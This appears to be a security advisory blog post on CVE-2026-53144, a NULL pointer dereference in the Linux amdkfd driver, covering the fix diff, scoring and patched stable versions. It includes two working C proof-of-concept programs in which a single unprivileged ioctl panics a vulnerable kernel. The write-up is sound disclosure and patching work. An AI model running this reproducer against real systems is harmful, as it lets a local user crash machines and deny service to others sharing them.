# CVE-2026-53144: NULL pointer that passed IS_ERR() in amdkfd get_queue_ids()

**Patch:** [2bd550b547deabef98bd3b017ff743b7c34d3a6d](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2bd550b547deabef98bd3b017ff743b7c34d3a6d) (mainline, landed in 7.1)
**Subsystem:** drm/amdkfd, AMD compute kernel driver
**Affected file:** drivers/gpu/drm/amd/amdkfd/kfd_device_queue_manager.c
**CVE record:** [CVE-2026-53144](https://www.cve.org/CVERecord?id=CVE-2026-53144)
**Introduced in:** 6.5, commit a70a93fa568b4f05aba548dadb673703eccf5480

## The bug in one sentence

get_queue_ids() returned NULL on a bad request instead of an ERR_PTR, and since IS_ERR(NULL) is false, the callers' error checks waved it straight through into a NULL dereference.

## The classic NULL versus ERR_PTR mixup

When usr_queue_id_array is NULL and num_queues is non-zero, get_queue_ids() returned plain NULL. Both callers, suspend_queues() and resume_queues(), only check IS_ERR() on the return, which is the correct idiom for functions that return error pointers, and which is exactly the wrong idiom for a function that can also return bare NULL. The check passes, execution continues, and suspend_queues() calls q_array_invalidate(), which dereferences the NULL queue id array while iterating num_queues times. Kernel panic, userspace's fault.

The trigger is one ioctl: kfd_ioctl_set_debug_trap() with num_queues greater than zero and queue_array_ptr zero. Any userspace process with access to the KFD device can do it. The fix distinguishes the legitimate case from the attack:

```diff
 	if (!usr_queue_id_array)
-		return NULL;
+		if (num_queues)
+			return ERR_PTR(-EINVAL);
```

A NULL array with num_queues equal to zero is a valid no-op, since the iteration never executes and resume_queues() already guards its dereferences, so it still returns NULL there. Both callers already propagate IS_ERR() returns to userspace, so the invalid input now comes back as a clean EINVAL. Full patch: [2bd550b547de](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2bd550b547deabef98bd3b017ff743b7c34d3a6d). This was also the rare patch that went in twice in the same merge window in slightly different forms, with the second submission (2bd550b547de) carrying the cherry-pick notation from f165a82cdf50.

## How to trigger it

One ioctl, with the field layout straight out of include/uapi/linux/kfd_ioctl.h:

```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kfd_ioctl.h>

int main(void)
{
    int fd = open("/dev/kfd", O_RDWR);

    struct kfd_ioctl_dbg_trap_args args = {0};
    args.pid = getpid();
    args.op  = KFD_IOC_DBG_TRAP_SUSPEND_QUEUES;   /* 6 */
    args.suspend_queues.num_queues = 1;            /* non-zero count */
    args.suspend_queues.queue_array_ptr = 0;       /* but no array */

    printf("ioctl -> %d\n", ioctl(fd, AMDKFD_IOC_DBG_TRAP, &args));
    return 0;
}
```

Pre-fix, get_queue_ids() returns plain NULL, IS_ERR(NULL) is false, suspend_queues() sails into q_array_invalidate() and dereferences NULL num_queues times. Instant panic, traceable to q_array_invalidate(). Post-fix the same ioctl returns -EINVAL and nothing happens. You need a machine with an AMD GPU, the amdgpu driver loaded, and read access to /dev/kfd, which on most distros means being in the video or render group, not necessarily root.

## Score and classification

* NVD: 5.5 MEDIUM, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
* CWE-476, NULL pointer dereference, agreed by NVD and Red Hat
* Ubuntu also shows a CVSS v4.0 of 6.8

A local user with GPU device access panics the kernel. Availability only, no confidentiality or integrity angle, so 5.5 is what a textbook availability-only local bug scores. For a machine running untrusted GPU compute tenants, a NULL deref panic is still a service interruption vector worth patching on schedule rather than eventually.

## Exploit code

The whole reproducer, field names straight from include/uapi/linux/kfd_ioctl.h:

```c
/* kfd_null_deref.c: CVE-2026-53144
 * gcc -o poc poc.c && ./poc
 * vulnerable kernel: panic in q_array_invalidate(); fixed: errno EINVAL
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kfd_ioctl.h>

int main(void)
{
	struct kfd_ioctl_dbg_trap_args args = {0};
	int fd, ret;

	fd = open("/dev/kfd", O_RDWR);
	if (fd < 0) { perror("open /dev/kfd"); return 1; }

	args.pid = getpid();
	args.op = KFD_IOC_DBG_TRAP_SUSPEND_QUEUES;     /* 6 */
	args.suspend_queues.num_queues = 1;            /* non-zero count */
	args.suspend_queues.queue_array_ptr = 0;       /* NULL array */

	ret = ioctl(fd, AMDKFD_IOC_DBG_TRAP, &args);
	printf("ret %d, errno %d (%s)\n", ret, errno, strerror(errno));
	close(fd);
	return 0;
}
```

On a vulnerable kernel the program never reaches the printf: get_queue_ids() returns plain NULL, IS_ERR(NULL) is false, and q_array_invalidate() dereferences NULL while iterating num_queues times, so the box panics with the trace pointing at q_array_invalidate. On a fixed kernel the ioctl returns -1 with EINVAL and the program prints it. No root needed on typical distros, membership in the render or video group is enough to open /dev/kfd. Public status: no KEV, no public PoC before this note; the one-ioctl denial of service is fully described by the CVE record itself. Fixes: Ubuntu USN-8726-1 through 8906-1 on 26.04 and 24.04, Debian trixie 6.12.94-1, Red Hat Bugzilla [2492845](https://bugzilla.redhat.com/show_bug.cgi?id=2492845).

## Where the fix shipped

* 6.6.143: [62bd09e23a23](https://git.kernel.org/stable/c/62bd09e23a23da70f9aae02748eba3e6bd93095d)
* 6.12.94: [daeceb0fe2a1](https://git.kernel.org/stable/c/daeceb0fe2a19651c58bbfa3d9d515ecb6ca8996)
* 6.18.36: [72e259a32084](https://git.kernel.org/stable/c/72e259a32084c42816152c346096d2edd4213e23)
* 7.0.13: [e1965e8913cf](https://git.kernel.org/stable/c/e1965e8913cfbf17622ca12638e7a07f68ba0848)
* 7.1: [2bd550b547de](https://git.kernel.org/stable/c/2bd550b547deabef98bd3b017ff743b7c34d3a6d)

## References

1. [Upstream commit 2bd550b547de](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2bd550b547deabef98bd3b017ff743b7c34d3a6d)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062545-CVE-2026-53144-bd58@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53144)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-53144)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53144)